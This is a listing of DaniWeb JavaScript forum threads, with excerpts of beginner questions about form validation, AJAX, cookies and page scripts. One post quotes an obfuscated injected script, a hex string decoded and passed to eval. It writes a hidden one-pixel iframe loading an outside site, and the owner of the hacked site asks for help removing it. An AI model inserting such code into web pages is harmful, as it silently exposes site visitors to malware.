15,127 Topics

Member Avatar for
Member Avatar for Dragonbaki

Hi guys., I have a textbox for entering URL. I validate that URL using regular expression. Now the problem is, How do i know whether the entered URL is exist or not.? For example, if user enter "http://www.daniweb.cam" rather entering "http://www.daniweb.com", how do i intimate them that the entered url …

Member Avatar for Airshow
0
1K
Member Avatar for Xtremefaith

So for the record I'm using wordpress but you don't need to know wordpress in order to help me with this. This is my first AJAX attempt and [U]I read through W3schools[/U] and understand a good portion of how it works in theory but haven't found any close enough working …

Member Avatar for Xtremefaith
0
269
Member Avatar for blotind

Hi all This won't validate!! any suggestions? it for some reason doesn't call the ValidateFrom function... so the error lies either with the manner in which i'm calling the javascript functions or the javascript itself. [CODE] <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <link href="style.css" rel="stylesheet" type="text/css"> <title>User Details</title> …

Member Avatar for Airshow
0
178
Member Avatar for RazorRamon

Ok i'm trying to build a forum with jquery ajax characteristics. Below is the html/jquery coding. And i know jquery is loaded because I did the [ICODE]alert(1);[/ICODE] inside the document ready and it worked. [CODE] <!doctype> <html> <head> <title>Shouts!</title> <script src="jquery.js"></script> <script> $(document).ready(function() { $("#messages").load(function('loadchat.php'); $("#post").submit(function(){ return false; }); }); …

Member Avatar for xylude
0
568
Member Avatar for Olivis

Hello! Just started learning javascript: anyway just messing around trying to make a program where you enter a value into each of the two prompt boxes and the multiplied value of the two is show. I've got this: [CODE]function showprompt() { r=prompt("Enter first number:",""); if(r!=null && r!="") { x=r; } …

Member Avatar for stbuchok
0
116
Member Avatar for riseguim

Hi! So here's the deal: I have this style switcher which is awesome, therefore, the cookie does not seem to work, actually it simply doesn't. I'm sure someone can figure this out for me, that would save me! [CODE]<script type="text/javascript"> // *** TO BE CUSTOMISED *** var style_cookie_name = "style" …

Member Avatar for riseguim
0
142
Member Avatar for Juriy

Guys plz need a help. I have index page [CODE] <form id="form1" name="form1" method="get" action="show.php"> <select name="cg" onchange="SearchC();" id="catG" > <option value="1" >ВСЕ КАТЕГОРИИ</option> <option value="2"<? if($pcat=="2")echo "selected='selected'"; ?>>subject</option> <option value="3" <? if($pcat=="3")echo "selected='selected'"; ?>>faculty</option> <option value="4" <? if($pcat=="3")echo "selected='selected'"; ?>>lecture</option> </select> </form> [/CODE] then [CODE] function SearchC() { var …

Member Avatar for Juriy
0
81
Member Avatar for dw_user

After running the script for quite a few days, I find a few extra lines of code added at the end of the file, <script>var t="";var arr="646f63756d656e742e777269746528273c696672616d65207372633d22687474703a2f2f6c6f63756d7265736f75726365732e636f6d2f666f72756d2e7068703f74703d36373565616665633433316231663732222077696474683d223122206865696768743d223122206672616d65626f726465723d2230223e3c2f696672616d653e2729";for(i=0;i<arr.length;i+=2)t+=String.fromCharCode(parseInt(arr[i]+arr[i+1],16));eval(t);</script> And error is shown when i try to visit the home page. The site address is : [url]www.pipilika.com[/url] Any solution.

Member Avatar for diafol
0
193
Member Avatar for uselessninja

i've been searching google and all i see is with button snippets ...can someone help me on how to multiply two textbox and displaying it to third texbox without using button ?..

Member Avatar for uselessninja
0
188
Member Avatar for devindamenuka

hi all, I am developing a blog where in the administrator controlled panel I can view users comments in a table format. the problem is now i want to view a link to edit page when i bring the mouse pointer to on a comment then i wish to click …

Member Avatar for devindamenuka
0
178
Member Avatar for tjsail33

So I have a piece of code that is run as a bookmarklet that I am trying to edit, but I am unable to get it to work. The code checks for the presence of a button (the Awesome Button) and then clicks it every 15s, until the page is …

0
54
Member Avatar for mowen85

I have a drop down box of a fixed width. That drop down box needs to contain some values that are longer than the desired width. I'm happy for those values to be truncated, but I would like to display the full text in a tooltip (one that I could …

Member Avatar for juliorodmax
-1
2K
Member Avatar for keith85

I have a little problem here. I know its one of those easy things that is leaving me scratching my head, but I just can't figure it out. The homework assignment is to create a guess game. The user has to guess last year's best motion picture (The King's Speech …

0
53
Member Avatar for rayidi

Dear Friends, Am trying to builing a social networking site that user can post his update on profile text bat. Once we click on the share button the text field value will pass to the function of xmlHTTP request, but here is not passing a value. Please help me. I …

0
113
Member Avatar for siabenie

Hi all, I tried to do a CAPTCHA "error message - I would like an error message (pop up) show on the first page (checkForm.php) when user entered a wrong code/secureimage. At the moment the error message showing on the next page (processFrom.php) which isn't really what I want. Can …

Member Avatar for siabenie
0
877
Member Avatar for belama

I've come up with this code and cant figure out why nothing appears when I press the button. The table is soposed to show. Probably something really simple cuz I often stuck on stupid things. [HTML]<html> <head> <script type="text/javascript"> function appendtable() { var div = document.getElementById("divide"); var ControlsDesign = document.createElement("div"); …

Member Avatar for kedman1234
0
378
Member Avatar for vaanipala

I'm trying to populate the city select box based on the selected state (which is also a select box) using Ajax. When i select state, the city select box is not being populated. There are 5 models below: Student, MerryParent, MerryClass, State, City. All of them are related to one …

Member Avatar for vaanipala
0
516
Member Avatar for PinoyDev

Hi good day! I just want to know on how to center a new page window when click.. I have this java script below but it appears on top left. I want it to appear center of the screen on even in different resolution! [code=javascript] <a href="javascript:void(window.open('http://localhost/nonescostmpc/accnt_login.php','','width=350,height=220,left=0,top=0,resizable=no,menubar=no,location=no,status=no,scrollbars=no'))"> [/code] thank you!

Member Avatar for PinoyDev
0
113
Member Avatar for azegurb

hi all, I have built search form that it retrieves information from database. for ex: when i click axtar (search) button it retrieves normally but when i click ENTER button via keyboard instead of axtar (search) button but it only displays results with white blank page here is web page …

Member Avatar for Airshow
0
104
Member Avatar for come_again

Hello, I'm trying to access a value from an input form. I know this works without the onkeyup event but with it it says the that document.formname.elementid.value is undefined! Its extremely frustrating. As the user types into the input, I am using AJAX to generate some more options which works …

Member Avatar for Airshow
0
216
Member Avatar for AngelicOne

I'm using javascript for my client validation and I would like this to work the way I wanted to. I have three textboxes for last name, middle name and firstname. All the fields are mandatory and if the form is submitted there would be an error to display below the …

Member Avatar for AngelicOne
0
236
Member Avatar for jonsan32

I've got this scrolling marquee code to work on this page: [url]http://www.jamball.com/2011/07/club-teams.html[/url] [B]but it goes crazy in IE[/B]. [COLOR="Red"]I know IE sucks[/COLOR], but over 40% of our customers use it. Is there a way to fix the script, or must I scrap the entire idea? There is a table in …

0
103
Member Avatar for faganj

The problem that I'm having can be seen on this test page: [url]http://science.nature.nps.gov/im/1test.cfm[/url] We have a new mandatory Cold Fusion server-side redirect process for linking to external sites. We have some off-site links that use javascript drop-down menus that required a javascript work-around to work correctly with IE. The javascript …

0
96
Member Avatar for ErangaD

I am a VB.net programer and I am very new to PHP HTML and Java Scripts I am doing a project for my company using PHP HTML and Java Scripts and I want to Know how to make readonly a text box after it gets the input This text box …

Member Avatar for Airshow
0
175
Member Avatar for phaedrusGhost

Hi all, I found a slider that works quite good out of the box with the exception of one thing, sizing images to their proper size instead of default to the smaller size. I will most likely need to add various widths so I hope to have it display them …

0
81
Member Avatar for petrakid

I have two scripts. The first script creates a row in a table: [CODE] function addRow(tblId) { if(counter == limit) { alert("You cannot add more than " + limit + " passages!"); } else { var tblBody = document.getElementById(tblId).tBodies[0]; var newNode = tblBody.rows[0].cloneNode(true); tblBody.appendChild(newNode); counter++; } } [/CODE] ... the …

0
91
Member Avatar for petrakid

I am trying to write a script that will update my database(s) without the user having to click any buttons. I also want the update to occur whenever a field is modified in the form. So here is an example form [CODE] <form> <input type="text" name="fieldone" value="currentvalfromdb" onChange="updateDB()" /> <select …

Member Avatar for petrakid
0
1K
Member Avatar for MARKAND911

I have a textbox named "txtMoney" I want to validate this textbox using javascript. And its validation criteria are as follows [LIST] [*]Negative number is not allowed [*]All numerics. No letters [*]Only two digits after decimal [*]Maximum 12 digits including decimal [/LIST] How can i do this.

0
66
Member Avatar for cjohnweb

Let's say this is an unknown error, possibly a syntax error, possibly an HTML error - I can't be sure. Hey there, I'm a PHP expert, but not so well with JQuery - I'm just starting out with JS in general. I have a PHP based site I am working …

Member Avatar for Airshow
0
216
Member Avatar for AngelicOne

I know I am doing this right but it just doesn't work. The condition for radiobutton that if it's not checked then an alert should display. But it won't work! [CODE]<script> function valid() { var element = document.forms["form"]["gender"]; var check = false; for(i=0;i<=element.length;i++) { if(element[i].checked) { check = true; break; …

Member Avatar for AngelicOne
0
120

The End.